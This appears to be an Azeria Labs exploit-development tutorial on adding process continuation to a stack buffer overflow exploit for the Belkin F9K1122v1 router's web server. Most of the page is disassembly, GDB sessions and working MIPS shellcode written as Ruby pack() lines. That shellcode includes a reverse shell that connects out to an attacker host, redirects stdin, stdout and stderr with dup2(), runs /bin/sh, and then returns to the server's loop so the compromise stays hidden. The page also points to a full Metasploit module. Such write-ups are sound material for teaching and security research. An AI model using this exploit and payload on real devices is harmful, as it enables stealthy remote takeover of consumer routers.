Azeria Labs Azeria Labs
  • ARM Assembly
    • Part 1: Introduction to ARM Assembly
    • Part 2: ARM Data Types and Registers
    • Part 3: ARM Instruction Set
    • Part 4: Memory Instructions: LDR/STR
    • Part 5: Load and Store Multiple
    • Part 6: Conditional Execution and Branching
    • Part 7: Stack and Functions
    • Assembly Basics Cheatsheet
  • Online Assembler
  • Exploitation
    • Writing ARM Shellcode
    • TCP Bind Shell in Assembly (ARM 32-bit)
    • TCP Reverse Shell in Assembly (ARM 32-bit)
    • Process Memory and Memory Corruption
    • Stack Overflows (Arm32)
    • Return Oriented Programming (Arm32)
    • Stack Overflow Challenges
    • Process Continuation Shellcode
    • Glibc Heap – malloc
    • Glibc Heap – free, bins, tcache
    • Part 1: Heap Exploit Development
    • Part 2: Heap Overflows and the iOS Kernel
    • Part 3: Grooming the iOS Kernel Heap
  • Lab Environment
    • ARM Lab VM 1.0
    • ARM Lab VM 2.0
    • Debugging with GDB and GEF
    • Emulate Raspberry Pi with QEMU
    • Running Arm Binaries on x86 with QEMU-User
    • Emulating Arm Firmware
  • TrustZone Research
    • TEEs and Arm TrustZone
    • Trustonic’s Kinibi TEE
  • Self-Improvement
    • Deep Work & The 30-Hour Method
    • Paradox of Choice
    • The Process of Mastering a Skill
  • About
Azeria Labs Azeria Labs
  • ARM Assembly
    • Part 1: Introduction to ARM Assembly
    • Part 2: ARM Data Types and Registers
    • Part 3: ARM Instruction Set
    • Part 4: Memory Instructions: LDR/STR
    • Part 5: Load and Store Multiple
    • Part 6: Conditional Execution and Branching
    • Part 7: Stack and Functions
    • Assembly Basics Cheatsheet
  • Online Assembler
  • Exploitation
    • Writing ARM Shellcode
    • TCP Bind Shell in Assembly (ARM 32-bit)
    • TCP Reverse Shell in Assembly (ARM 32-bit)
    • Process Memory and Memory Corruption
    • Stack Overflows (Arm32)
    • Return Oriented Programming (Arm32)
    • Stack Overflow Challenges
    • Process Continuation Shellcode
    • Glibc Heap – malloc
    • Glibc Heap – free, bins, tcache
    • Part 1: Heap Exploit Development
    • Part 2: Heap Overflows and the iOS Kernel
    • Part 3: Grooming the iOS Kernel Heap
  • Lab Environment
    • ARM Lab VM 1.0
    • ARM Lab VM 2.0
    • Debugging with GDB and GEF
    • Emulate Raspberry Pi with QEMU
    • Running Arm Binaries on x86 with QEMU-User
    • Emulating Arm Firmware
  • TrustZone Research
    • TEEs and Arm TrustZone
    • Trustonic’s Kinibi TEE
  • Self-Improvement
    • Deep Work & The 30-Hour Method
    • Paradox of Choice
    • The Process of Mastering a Skill
  • About

Teaching an Old Dog New Tricks:

Adding Process Continuation to an Old Exploit

This write-up is a collaboration between Azeria and @b1ack0wl, who developed the exploit targeting a Buffer Overflow in the MIPS device Belkin F9K1122v1. This initial exploit can be found on exploit-db: Belkin F9K1122v1 1.00.30 – Buffer Overflow. The target device is running a Lexra based MIPS chip based on MIPS-I ASM which is different from the MIPS-II based MIPS32.

Finding a vulnerability and getting shellcode to execute is an euphoric feeling, but have you ever had the target program crash afterwards?  In this tutorial, we are going through the thought process of developing process continuation shellcode and implementing it into the existing exploit. The new exploit will then be demonstrated after transforming it into a working Metasploit module.

Table of Contents:

  1. What is process continuation?
  2. Root causing the bug
  3. Analyzing normal execution
  4. What is needed to resume execution?
  5. Developing the shellcode to patch memory
  6. Custom shellcode overview
  7. Demo

MIPS Assembly Basics

These Boxes contain the relevant MIPS instructions for each section, to make this write-up easier to read for people who are not very familiar with MIPS. The instructions are represented and explained as follows:

INSTRUCTION – Description of the instruction
[Pseudo-Syntax of the instruction]
[Syntax of the instruction]
[Example]

What is process continuation?

Process continuation is the ability to keep a process running as if nothing happened after exploiting a memory corruption vulnerability. This is important for things like:

  • Being sneaky (if your exploit causes a crash that’s visible to the target -> game over),
  • Kernel exploitation (Kernel Panic || Blue screen),
  • Being able to re-exploit a processes that does not have a watchdog.

The original exploit that was developed for the F9K1122v1 results in code execution, but once the reverse shell disconnects the process exits and a new process is spun up via a watchdog. The goal is to redo the exploit and shellcode to have the vulnerable service stay up after exploitation.

Even though the vulnerability discussed in this post is a stack based overflow, the methods presented can also be used for developing process continuation for other types of vulnerabilities. The following is a high level outline of the steps when developing shellcode for process continuation:

  • Analyze normal run-time behavior
  • Figure out what’s corrupted and why
  • Figure out how to repair it
  • Figure out where to return to and not have the process fall over
  • Document failures
  • Repeat until you get it.

Using a combination of run-time blackbox testing, static analysis, and source code analysis (if possible) will get you much better results than trying to rely on only one of those methods.

Root causing the bug

MIPS Assembly Basics

JR – [Jump Register] Jump to the address contained in register.
jr    register
jr    $s
jr    $ra

JALR – [Jump And Link Register] Jump to the address contained in register rs, with a 1-instruction delay. Place the address of the instruction following the delay slot in register rd.
jalr    register_to_hold, register_to_jump_to
jalr    rd, rs
jalr    $t9

SW – [Store Word] Store contents of a register at the specified address.
sw    register_destination, memory_source
sw    $t, offset($s)
sw    $ra, 0x90+var_4($sp)

LUI – [Load upper immediate] Shift the immediate value left 16 bits and store it into the register. The lower 16 bits are zeroes.
lui    register, immediate_value
lui    $t, imm
lui    $a2, 0x47

LW – [Load Word] Load a word from the specified address into a register.
lw    register, address
lw    $t, offset($s)
lw    $gp, 0x90+var_80($sp)

LA – [Load Address] Copy memory address of var1 (presumably a label defined in the program) into a register.
la    register, label
la    $t9, websGetVar
[Hint: LA is a Pseudo Instruction and consisting of two instructions, LUI and ORI]

ADDIU – [Add immediate sign-extended] Adds a register and a sign-extended immediate value and stores the result in a register.
addiu    destination_register, source_register, immediate_value
addiu    $t, $s, imm
addiu    $s1, $sp, 0x90+var_74

MOVE – [Move Pseudo Instruction] Moves the contents of one register into another.
move    desitination_register, source_register
move    $t, $s
move    $a0, $s0
[Hint: MOVE is a Pseudo Instruction and compiled into an add instruction: add $t0, $zero, $t]

The root cause of this stack-based buffer overflow is the usage of sprintf() to write into a statically sized stack based buffer of 100 bytes as a string based argument (%s) with the source being the HTTP POST argument webpage (after percent decoding).

void formSetLanguage(webs_t wp, char_t *path, char_t *query) {
char tmpbuf[100]; // Static stack based buffer of 100 bytes

[snip]
setErr: 
urltmp = websGetVar(wp, T("webpage"), T("")); // Return a pointer to where the HTTP POST Argument 'webpage' is
sprintf(tmpbuf, "/%s", urltmp); // Write the contents of the HTTP POST Argument as a string into the static stack based buffer

The vulnerable function formSetLanguage() can be found within the binary webs which was extracted from the downloaded firmware update. The disassembly for the above C code is shown below.

00440C9C      addiu $sp, -0x90
00440CA0      sw $ra, 0x90+var_4($sp)      // Return address is saved onto the stack
00440CA4      sw $s1, 0x90+var_8($sp)      // $s1 will get clobbered
00440CA8      sw $s0, 0x90+var_C($sp)      // $s0 will get clobbered
[snip]
00440EB4      move $a0, $s0                // Source buffer that contains the decoded HTTP POST request.
00440EB8      lui $a2, 0x47
00440EBC      la $a1, aWebpage_0
00440EC0      la $t9, websGetVar
00440EC4      la $a2, (aForm_2+0xC)
00440EC8      jalr $t9 ; websGetVar        // Grab the HTTP POST argument "webpage"
00440ECC      addiu $s1, $sp, 0x90+var_74  // $s1 == Stack based buffer 
00440ED0      lui $a1, 0x47 
00440ED4      move $a0, $s1                // Destination Buffer for sprintf()
00440ED8      lw $gp, 0x90+var_80($sp)
00440EDC      move $a2, $v0                // PTR to the content of the HTTP POST argument "webpage"
00440EE0      la $t9, sprintf
00440EE4      jalr $t9 ; sprintf           // Clobber dat Stack
00440EE8      la $a1, aS                   // "/%s"
00440EEC      move $a0, $s0
00440EF0      lw $gp, 0x90+var_80($sp)
00440EF4      la $t9, websRedirect
00440EF8      jalr $t9 ; websRedirect
00440EFC      move $a1, $s1
00440F00      lw $ra, 0x90+var_4($sp)      // Corrupted
00440F04      lw $s1, 0x90+var_8($sp)      // Corrupted
00440F08      lw $s0, 0x90+var_C($sp)      // Corrupted
00440F0C      jr $ra
00440F10      addiu $sp, 0x90

With this information we know the following:

  • A continuous string that is > 100 bytes is needed to cause the overflow (see C code).
  • The registers $s0, $s1, and $ra will contain values from the overflow since they are loaded off of the stack after being clobbered (see disassembly).

Next, we need to know what normal execution looks like in order to mimic the same behavior. The idea is to return back to a function that doesn’t rely on previously saved stack values since they’ve been overwritten. A good first step is to set breakpoints on the entry and exit of each function starting from the vulnerable function and going back until the main loop has been reached since this is a server that serves forever.

Analyzing normal behavior

MIPS Assembly Basics

B – [Branch Unconditionally] Branch to a function label
b    function_label
b    loc_40D558
[Hint: B is a Pseudo Instruction and is actually a beq $zero, $zero, label]

LI – [Load Immediate] Load immediate to a register
li    register, immediate_value
li    $gp, 0x49C740
[Hint: LI is a Pseudo Instruction and consists of two instructions: LUI and ORI]

BEQZ – [Branch If Not Equal Zero] Branch to function label if register is not zero.
beqz    register, function_label
beqz    $v0, loc_411700

J – [Jump] Unconditional Jump to the instruction at the label
j    label_target
j    sub_412330

With the disassembly of formSetLanguage() from the previous section, we need to set a breakpoint at the instruction jr $ra at offset 0x00440F0C  using the command “b *0x00440F0C“. Once we hit the breakpoint, we can display the address of the callee function using the command “i r $ra“.

set arch mips
set endian big
target remote 192.168.206.1:1337 # Using GDBServer
b *0x00440F0C
commands
i r $ra
continue
end
continue

Then trigger the vulnerable function formSetLanguage(), but not the vulnerability itself.

Breakpoint 1, 0x00440f0c in ?? ()
ra: 0x412458

The return address points to the function handleForm() at offset 0x412458 which has the following lines of code:

00412458      lw $gp, 0x38+var_28($sp)
0041245C      lw $ra, 0x38+var_4($sp)
00412460      lw $s3, 0x38+var_8($sp)
00412464      lw $s2, 0x38+var_C($sp)
00412468      lw $s1, 0x38+var_10($sp)
0041246C      lw $s0, 0x38+var_14($sp)
00412470      j sub_412330
00412474      addiu $sp, 0x38

The instructions read off of the stack and load the values into $s0, $s1, $s2, $s3, $ra, and $gp. The next function sub_412330 saves $ra, $s1, and $s0 onto the stack then does some operations with the global variable root_temp and returns by jumping to $ra.

00412330      addiu $sp, -0x28
00412334      sw $ra, 0x28+var_4($sp)
00412338      sw $s1, 0x28+var_8($sp)
0041233C      sw $s0, 0x28+var_C($sp)
00412340      li $gp, 0x49C740
00412348      sw $gp, 0x28+var_18($sp)
0041234C      la $v0, root_temp
00412350      lw $s0, (dword_494F9C - 0x494F98)($v0)
00412354      sw $zero, (dword_494F9C - 0x494F98)($v0)
00412358
[snip]
00412394      lw $ra, 0x28+var_4($sp)
00412398      lw $s1, 0x28+var_8($sp)
0041239C      lw $s0, 0x28+var_C($sp)
004123A0      jr $ra
004123A4      addiu $sp, 0x28

By repeating the same steps we find that the function at offset 0x412330 returns to the function process_requests() at offset 0x40d4ac as shown below.

Breakpoint 2, 0x004123a0 in ?? ()
ra: 0x40d4ac
0040D4AC      lw $gp, 0x48+var_38($sp)
0040D4B0      b loc_40D558
0040D4B4      move $a3, $v0
0040D558      la $v1, sigterm_flag
[snip]
0040D61C      bnez $s0, loc_40D418
0040D620      nop
0040D624      lw $ra, 0x48+var_4($sp)
0040D628      lw $fp, 0x48+var_8($sp)
0040D62C      lw $s7, 0x48+var_C($sp)
0040D630      lw $s6, 0x48+var_10($sp)
0040D634      lw $s5, 0x48+var_14($sp)
0040D638      lw $s4, 0x48+var_18($sp)
0040D63C      lw $s3, 0x48+var_1C($sp)
0040D640      lw $s2, 0x48+var_20($sp)
0040D644      lw $s1, 0x48+var_24($sp)
0040D648      lw $s0, 0x48+var_28($sp)
0040D64C      jr $ra
0040D650      addiu $sp, 0x48

Then by stepping through the function process_requests() we find out (by looking at the value in $ra before the jr $ra instruction is called) that the saved return address is 0x411a68 aka loop() and is reached when $s0 (pointing to the global variable request_ready) is NULL. Loop() makes decisions based on a list of global variables, which means that the global variables must contain zero’s, otherwise loop() will make a decision and jump to another function. When the vulnerability is triggered and a crash happens, the value of this global variable $s0 is changed to 1, which causes the instruction bnez to fire and branch to 0x40D418. The function loop() never returns and literally loops forever and uses those global values to call the corresponding function to parse incoming request. That’s why loop() will be the target function to return to since returning to any of the other callee function requires the stack to be repaired and attempting to repair a clobbered stack is very costly in shellcode space.

 

The execution flow described above was an overview of how the vulnerable function is called. After returning from the vulnerable function, the execution flow continues in this sequence: incoming request -> loop() -> process_requests() -> handleForm() -> formSetLanguage(). We won’t cover the details of it and only focus on process continuation once the vulnerable function is successfully exploited.

The easiest thing to do would be to adjust the stack back to loop(), find out if any arguments need to be set ($a0, $a1, $a2…etc), figure out if any global variables need to be modified, and then return. Adding in the reverse shell shellcode will be the last step since the main goal is to get the program to continue execution after triggering the overflow.

What is needed to resume execution?

Now that we gathered a high level idea of the normal execution flow in the previous section, we need a bit more reversing in order to figure out if there are any variables that need to be modified to prevent any crashes when returning back to loop().

Let’s look at the beginning of the loop() function:

00411560      addiu $sp, -0x58
00411564      sw $ra, 0x58+var_4($sp)              // never read from
00411568      sw $fp, 0x58+var_8($sp)              // never read from
0041156C      sw $s7, 0x58+var_C($sp)              // never read from
00411570      sw $s6, 0x58+var_10($sp)             // never read from
00411574      sw $s5, 0x58+var_14($sp)             // never read from
00411578      sw $s4, 0x58+var_18($sp)             // never read from
0041157C      sw $s3, 0x58+var_1C($sp)             // never read from
00411580      sw $s2, 0x58+var_20($sp)             // never read from
00411584      sw $s1, 0x58+var_24($sp)             // never read from
00411588      sw $s0, 0x58+var_28($sp)             // never read from
0041158C      li $gp, 0x49C740  
00411594      sw $gp, 0x58+var_40($sp)             // is read from
00411598      la $v0, block_read_fdset
0041159C      move $s1, $a0                        // Argument is needed
004115A0      addiu $v1, $v0, (staTbl - 0x499748)
[...snip...]
004115D8      la $s5, aConnectionTime
004115DC      la $fp, sigalrm_flag                  // Global
004115E0      la $s2, block_read_fdset
004115E4      la $s7, ka_max                        // Global
004115E8      la $s4, stderr
004115EC      la $s6, ka_timeout                    // Global
004115F0      la $s3, block_write_fdset 
004115F4      sw $v1, max_fd                        // Global
004115F8      la $v1, sighup_flag                   // Global
004115FC      lw $v0, (sighup_flag - 0x496854)($v1)
00411600      beqz $v0, loc_411618                  // Must be 0 or else exit() is called
00411604      nop
00411608      la $t9, sighup_run
0041160C      jalr $t9 ; sighup_run
00411610      nop
00411614      lw $gp, 0x58+var_40($sp)
00411618      la $a0, sigchld_flag                  // Global
0041161C      lw $v0, (sigchld_flag - 0x496858)($a0)
00411620      beqz $v0, loc_411638                  // Must be 0 or else exit() is called
00411624      nop
00411628      la $t9, sigchld_run
0041162C      jalr $t9 ; sigchld_run
00411630      nop
00411634      lw $gp, 0x58+var_40($sp)
00411638      lw $v0, 0x58+var_58($fp)
0041163C      beqz $v0, loc_411654                 // Must be 0 or else exit() is called
00411640      nop
00411644      la $t9, sigalrm_run
00411648      jalr $t9 ; sigalrm_run
0041164C      nop
00411650      lw $gp, 0x58+var_40($sp)
00411654      la $v0, sigterm_flag                 // Global
00411658      lw $v0, (sigterm_flag - 0x496860)($v0)
0041165C      beqz $v0, loc_411700                 // Must be 0 or else exit() is called
00411660      li $v1, 1
...etc

The Disassembler reported that the register $ra that is first saved onto the stack is never read from again, which means that the function loop() never returns unless a signal is thrown. There are multiple global variables that are read from for the beginning branch conditionals that ultimately call exit(), but they do not need to be modified since they all contain the value 0x00000000. For this reason, loop() is a good place to jump back to since it doesn’t return to anything. This way, we don’t need to repair anything on the stack and only need to find the variables that loop() needs in order to not crash.

All of the other global variables were manually looked at upon run-time to help speed up reversing efforts and it was found that the only variables that change when the vulnerability is triggered are request_ready and total_connections, which are changed from 0x00000000 to 0x00000001. These two global variables need to be set back to 0x00000000 or else the function loop() will immediately call process_requests() upon return and possibly crash. In other words, loop() will change those variables when a connection comes in and then reprocess the request again and again. For loop() to not do anything, the values must be equal to 0.

The last thing was to figure out the value of the argument passed to loop() and these are the different ways that were used to figure that out with confidence:

  • Set a breakpoint on the entry of loop() and print the value of $a0.
  • Download the GPL for the Belkin F9K1122v1 and look at the source code for boa.

When trying out the first approach it turned out that $a0 was populated with the value 0x00000003 which usually corresponds with a file descriptor number. Looking at the source code via the GPL tarball, it was clear that the argument for loop() is a file descriptor number that is returned by socket() as shown in the C snippet below.

int main(int argc, char *argv[])
{
int server_s;
server_s = create_server_socket();
[snip]
loop(server_s);
}

static int create_server_socket(void)
{
int server_s;
server_s = socket(SERVER_PF, SOCK_STREAM, IPPROTO_TCP);
[snip]
return server_s;
}

Another way to figure this out is to manually reverse the function loop() to see how the arguments are being used, but you can speed up the analysis with source code or run-time analysis. We now have all of the pieces needed to put together a plan for the process to continue after exploitation.

Developing the shellcode to patch memory

MIPS Assembly Basics

ORI – [OR Immediate] Do a bitwise logical OR with a constant.
ori      destination_register, source_register, immediate_value
ori     $t, $s, imm
ori     t0, t0, 0xCD7C

XORI – [Exclusive OR Immediate] Do a bitwise logical Exclusive OR with a constant.
xori     destination_register, source_register, immediate_value
xori     $t, $s, imm
xori      t0,t0, 0xCD7C

ADDU – [Add Unsigned Work] Adds a register and an unsigned immediate value and stores the result in a register.
addiu    destination_register, source_register, immediate_value
addiu    $t, $s, imm
addu     t9, t7, t0

The last hurdle is to create shellcode that does the following:

  • Patch the global variables request_ready and total_connections
  • Create a stack frame for the shellcode
  • Load the value 0x00000003 into $a0
  • Adjust the stack back to loop()
  • Return back into the entry of loop() while avoiding the bad character NULL (0x00)

The code responsible for continuing the process is shown below. The null-byte-free opcodes can be manually generated with radare2’s assembler/disassembler rasm2 module.

### Process Continuation ###

## Zero out global vars "request_ready" and "total_connections"
## $t0 == 0x00000000 
continutation = [0xaee83340].pack("N")      # sw t0, 0x3340(s7) request_ready
continutation << [0xaee83360].pack("N")     # sw t0, 0x3360(s7) total_connections

## Execute Shellcode
continutation << shellcode

## Prepare to jump back to loop()
## Make a0 = 0x00000003 which is the socket fd for web server ($s5 = 0x00000002)
continutation << [0x02a0c020].pack("N")     # move t8, s5
continutation << [0x2704effe].pack("N")     # addiu a0, t8, -0x1002
continutation << [0x24841003].pack("N")     # addiu a0, a0, 0x1003

## Copy Stack with an offset of 596(0x0254) into t8 because of NULL bytes.
## lw and sw use a WORD for the operand which means the offset used for lw/sw must be above 0x0101 in order to avoid NULL bytes.
continutation << [0x27b80254].pack("N")     # addiu, t8, sp, 596 (0x254)

## Restore $t7 (again) to 0x00404810 (PTR to _ftext; manually found on the stack)
continutation << [0x8faf0194].pack("N")     # lw t7, 404(sp)

## adjust stack back to loop()
continutation << [0x271dfdec].pack("N")     # addiu sp, t8, -0x0214

## return back to loop() at offset 0x0041158C (when GP is first loaded and saved to avoid the initial stack adjust)
## 0x00404810 + 0xCD7C == 0x0041158C
continutation << [0x3508CD7C].pack("N")     # ori t0, t0, 0xCD7C
continutation << [0x01e8c821].pack("N")     # addu t9, t7, t0 
continutation << [0x0320f809].pack("N")     # jalr ra, t9
continutation << [0x3908CD7C].pack("N")     # xori t0,t0, 0xCD7C

To put it all together the exploit flow is as follows:

  1. Trigger Overflow
  2. Patch Global Variables
  3. Execute Shellcode
  4. Adjust Stack
  5. Restore Argument(s)
  6. Return.
Custom shellcode overview

MIPS Assembly Basics

SB – [Store Byte] The least significant byte of a register is stored at a specified memory address.
sb $t, offset(base)
sb $zero, 0($v0)

SH – [Store Halfword] The lower 16 bits (halfword) of a register are stored at the specified memory address.
sh $t, offset(base)
sh $v0, 0x1A($sp)

BGEZ – [Branch on Greater Than or Equal to Zero] Test a register, if (rs ≥ 0) then do a PC-relative branch.
bgez $s, offset
bgez $v0, loc_4113E8

BLTZ – [Branch on Less Than Zero] Test a register, if (rs < 0) then do a PC-relative branch.
bltz
bltz $v0, loc_4113E4

When looking at the imports for the binary webs, there was an import for dup2(). After cross-referencing the import, it turned out that there was a function that creates a TCP connection and returns the file descriptor (FD). The code snippet below is that exact function from webs at offset 0x00411300.

00411300      loc_411300:                 # CODE XREF: LOAD:0041153Cj
00411300      addiu $sp, -0x30
00411304      sw $ra, 0x2C($sp)
00411308      sw $s0, 0x28($sp)
0041130C      li $gp, 0x49C740
00411314      sw $gp, 0x10($sp)
00411318      li $a1, ":"
0041131C      la $t9, strchr
00411320      jalr $t9 ; strchr
00411324      move $s0, $a0                # Requires one argument
00411328      lw $gp, 0x10($sp)
0041132C      beqz $v0, loc_4113E0         # Argument must be a string and must contain the character ':'
00411330      addiu $a0, $v0, 1            # Pass the value from ':'+1 to strtol()
00411334      la $t9, strtol
00411338      move $a1, $zero
0041133C      li $a2, 0xA
00411340      jalr $t9 ; strtol
00411344      sb $zero, 0($v0)             # Overwrite the found ':' character with NULL
00411348      li $v1, 2
0041134C      move $a0, $s0 # Source String\x00
00411350      lw $gp, 0x10($sp)
00411354      sh $v1, 0x18($sp)
00411358      la $t9, gethostbyname
0041135C      jalr $t9 ; gethostbyname
00411360      sh $v0, 0x1A($sp)           # ...wait a second...
00411364      lw $gp, 0x10($sp)
00411368      bnez $v0, loc_411388
[snip]
00411388      lw $v1, 0x10($v0)
0041138C      la $t9, memcpy
00411390      lw $a1, 0($v1)
00411394      lw $a2, 0xC($v0)
00411398      jalr $t9 ; memcpy
0041139C      addiu $a0, $sp, 0x1C
004113A0      li $a0, 2
004113A4      lw $gp, 0x10($sp)
004113A8      li $a1, 2
004113AC      la $t9, socket
004113B0      jalr $t9 ; socket          # ...is this...
004113B4      li $a2, 6
004113B8      lw $gp, 0x10($sp)
004113BC      bltz $v0, loc_4113E4
004113C0      move $s0, $v0
004113C4      la $t9, connect
004113C8      move $a0, $v0
004113CC      addiu $a1, $sp, 0x18 
004113D0      jalr $t9 ; connect         # ...oh my
004113D4      li $a2, 0x10
004113D8      bgez $v0, loc_4113E8
004113DC      move $v0, $s0
004113E0      li $s0, 0xFFFFFFFF
004113E4      move $v0, $s0              # FD returned by socket()
004113E8      lw $ra, 0x2C($sp)
004113EC      lw $s0, 0x28($sp)
004113F0      jr $ra
004113F4      addiu $sp, 0x30

All that was done afterwards was to pass the returned FD to dup2() for stdin (0), stdout (1), and stderr (2) and then call system(‘/bin/sh’).

The following shellcode does the following:

  • Create stack frame for shellcode with an arbitrary offset
  • Load pointer to call functions within webs by seting $t7 to 0x00404810
    • We would normally use a simple lui + ori instruction to load the register with the function address, but the address contains a null-byte.
    • To avoid the null-byte, we need to piece together the address by loading the address from the stack at an offset of 0x1688 to t7.
    • The value at sp+1688 is 0x00411300.
    • In order to reach our desired function at 0x00404810, we need to add an offset to the address we loaded into t7
    • 0x00411300 – 0x00404810 = 0xcaf0
  • Call function at offset 0x00411300 which takes the string “ip:addr”, connects back to it, and returns the socket fd
  • Store the socket fd onto the stack, then load it into $a0 for the dup2() loop
    • We can’t use the instruction ‘move a0, v0’ because it contains null-bytes
  • Create dup2() loop for stdin, stdout, stderr
  • Call system(“/bin/sh”)
  • Readjust the stack

The code for the reverse shell is shown below.

### Custom Shellcode ###
### Metasploit Note: Use 'shell_reverse_tcp' as the payload listener

## Create stack frame for shellcode
## The offset is arbitrary and -0x0504 was chosen by random.
shellcode = [0x27bdfafc].pack("N")      # addiu sp, sp, -0x0504

## Set $t7 = 0x00404810 (PTR to _ftext; manually found on the stack)
## Used to call functions within webs. Load the address from the stack at an offset of 0x1688 to t7. The value at sp+1688 is 0x00411300. 
shellcode << [0x8faf0698].pack("N")     # lw t7, 1688(sp)       # sp+1688 is 0x00411300

## Call 0x00411300(str)
## This function takes the string "ip:addr" and connects back to it. It then returns the socket fd
shellcode << [0x3508CAF0].pack("N")     # ori t0, t0, 0xCAF0
shellcode << [0x01e8c821].pack("N")     # addu t9, t7, t0
shellcode << [0x3908CAF0].pack("N")     # xori t0,t0, 0xCAF0
shellcode << [0x0320f809].pack("N")     # jalr ra, t9
shellcode << [0x27a405ac].pack("N")     # addiu a0, sp, 0x5ac   # ptr to lhost:lport

## Store Socket fd onto stack and then load it into a0 for the dup2() loop
## The instruction 'move a0, v0' contains NULL bytes.
shellcode << [0xafa20104].pack("N")     # sw v0, 0x0104(sp)
shellcode << [0x8fa40104].pack("N")     # lw a0, 0x0104(sp)

## dup2(a0,a1) for 0,1,2
## Begin: 'addiu a1, a1, 0x1005'; 'addiu a1, a1, -0x1002' a1 == 3
## Delay slot: 'addiu a1, a1, -1'
## Call dup2() @ 0x2AAD5EF0
## bne a1,t0, -7 instructions (t0 == 0)
## Delay slot: NOP via 'lui s0, 0x4141'
shellcode << [0x25051005].pack("N")      # addiu a1, t0, 0x1005
shellcode << [0x24a5effe].pack("N")      # addiu a1, a1, -0x1002 # a1 = 3
shellcode << [0x3c192aad].pack("N")      # lui t9, 0x2AAD
shellcode << [0x37395ef0].pack("N")      # ori t9, t9, 0x5EF0
shellcode << [0x0320f809].pack("N")      # jalr ra, t9           # dup2() 
shellcode << [0x24a5ffff].pack("N")      # addiu a1, a1, -1
shellcode << [0x14A0FFFD].pack("N")      # bnez a1, -8           # if a1 != zero: jump back 8 bytes (2 instructions)
shellcode << [0x3c104141].pack("N")      # [nop] lui s0, 0x4141

## call system('/bin/sh') @ 0x2AAF0810
## a0 == /bin/sh @ 0x2AAFF3D0 
shellcode << [0x3c042AAF].pack("N")      # lui a0, 0x2AAF
shellcode << [0x3c192AAF].pack("N")      # lui t9, 0x2AAF
shellcode << [0x37390810].pack("N")      # ori t9, t9, 0x5FB0  # system 
shellcode << [0x0320f809].pack("N")      # jalr ra, t9
shellcode << [0x3484F3D0].pack("N")      # ori a0, a0, 0xF3D0  # /bin/sh

## Move stack back
## Must be the same value used before, but negated (0x0504)
shellcode << [0x27bd0504].pack("N")      # addiu sp, sp, 0x0504

The full Metasploit Module for the Belkin F9K1122v1 “formSetLanguage” Stack-Based Buffer Overflow including process continuation shellcode can be found on GitHub.

Demo

And we are done! Here is a small demo of the Metasploit module for the working exploit including process continuation:
(If you can’t view this video, enable JavaScript for asciinema). For mobile users, here is the link to the cast.

ARM Exploit Development

  • Writing ARM Shellcode
  • TCP Bind Shell (ARM 32-bit)
  • TCP Reverse Shell (ARM 32-bit)
  • Process Memory and Memory Corruption
  • Stack Overflows (Arm32)
  • Return Oriented Programming (Arm32)
  • Stack Overflow Challenges
  • Process Continuation Shellcode
  • Introduction to Glibc Heap (malloc)
  • Introduction to Glibc Heap (free, bins)
  • Heap Exploit Development (Part 1)
  • Heap Overflows and iOS Kernel (Part 2)
  • Grooming the iOS Kernel Heap (Part 3)

Twitter: @Fox0x01 and @azeria_labs

New ARM Assembly Cheat Sheet

Poster Digital

Cheat Sheet
© 2017-2022 Azeria Labs™ | All Rights Reserved.